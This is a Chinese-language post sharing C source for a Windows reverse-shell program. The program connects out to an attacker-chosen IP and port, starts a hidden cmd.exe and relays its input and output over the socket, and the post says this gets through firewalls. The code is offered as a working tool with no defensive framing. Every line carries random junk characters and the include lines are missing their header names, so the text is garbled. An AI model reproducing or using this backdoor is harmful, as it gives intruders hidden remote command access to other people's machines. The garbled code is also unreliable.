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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 [C~fBf5  
w(/7Jt$  
/* ============================== sD{ j@WEZ  
Rebound port in Windows NT bdCykG-  
By wind,2006/7 x,w8r+~5  
===============================*/ yXkt:O,i  
#include c2/"KT  
#include j]AekI4I  
Z?-;.G*  
#pragma comment(lib,"wsock32.lib") [9LxhPi  
8IeI0f"l)  
void OutputShell(); '[%jjUU  
SOCKET sClient; ?qy*s3 j'M  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; J l\'V  
3]N q@t  
void main(int argc,char **argv) wXz\NGW  
{ >A<Df  
WSADATA stWsaData; *E.LP1xP  
int nRet;  +.=1^+a  
SOCKADDR_IN stSaiClient,stSaiServer; ;;M"hI3@  
]7*kWc2  
if(argc != 3) ;"D~W#0-v  
{ >8%M*-=p  
printf("Useage:\n\rRebound DestIP DestPort\n"); ^ s=*J=k  
return; lHcA j{6  
} <&`:&7  
Cb4_ ?OR0  
WSAStartup(MAKEWORD(2,2),&stWsaData); ka/nQ~_#<  
[8.-(-/;  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); w"1 x=+  
7aV$YuL)X~  
stSaiClient.sin_family = AF_INET; aFyh,  
stSaiClient.sin_port = htons(0); ,}KwP*:Z  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); |hc\jb  
l(#1mY5!q8  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) [O(m/  
{ 0',[J  
printf("Bind Socket Failed!\n"); eap8*ONl  
return; (nq^\ZdF  
} "$r 1$mBi  
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stSaiServer.sin_family = AF_INET; w~]T<^fW~  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); @' d6iYk_  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); "sD1T3!\)Q  
w=|py>%  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) wE?CvL  
{ JwB"\&'1ZS  
printf("Connect Error!"); cu)U7  
return; @cPflb  
} Vu%n&uF  
OutputShell(); ,%kmXh  
} 0t+])>  
b;*c:{W)  
void OutputShell() EZ/^nG  
{ Zb"jB$58  
char szBuff[1024]; 0iV;g`%  
SECURITY_ATTRIBUTES stSecurityAttributes; a_MFQf&KV  
OSVERSIONINFO stOsversionInfo; Ia#"/`||  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; w763 zi{  
STARTUPINFO stStartupInfo; !j0_ cA  
char *szShell; W tVf wC_  
PROCESS_INFORMATION stProcessInformation; fgmSgG"b  
unsigned long lBytesRead; M1EOnq4-  
#~S>K3(  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); *!w25t  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); yyjw?#\8  
stSecurityAttributes.lpSecurityDescriptor = 0; |kseKZ3  
stSecurityAttributes.bInheritHandle = TRUE; @y5=J`@=  
=DC 3a3&%  
~;8I5Sge  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); NJm-%K  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ioWo ]  
\sITwPA[z  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); dZDK7UL  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z%OW5]q  
stStartupInfo.wShowWindow = SW_HIDE; b)`pZiQP  
stStartupInfo.hStdInput = hReadPipe; >Mw'eQ0(y  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ws[/  
7E\g &R.  
GetVersionEx(&stOsversionInfo); T)~!mifX  
-=a[J;'q  
switch(stOsversionInfo.dwPlatformId) #|?8~c;RWG  
{ (0R2T"/  
case 1: xp^ 7#`MJ?  
szShell = "command.com"; e1UITjy  
break; x6v,lR  
default: p?kvW42/  
szShell = "cmd.exe"; 8SZK:VE@  
break; [S0mY["  
} :3O5ET'1  
KUFz:&wK  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); G|*G9nQ  
n]iyFZ`9  
send(sClient,szMsg,77,0); %J!NL0x_  
while(1) /?P!.!W&  
{ K{2h9 ]VF  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 0m A(:"  
if(lBytesRead) , D"]y~~I5  
{ $UC{"0  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); X3yS5wh d(  
send(sClient,szBuff,lBytesRead,0); ke]Yfwk  
} G?ig1PB"#  
else wDKELQ(y H  
{ >vAN(3Idu  
lBytesRead=recv(sClient,szBuff,1024,0); 0X>T+A[E  
if(lBytesRead<=0) break; ~b6GrY"vB  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ? |VysJ  
} S/7l/DFb  
} pV=@sz,G  
GW/WUzK  
return; r]T0+oQ>  
}
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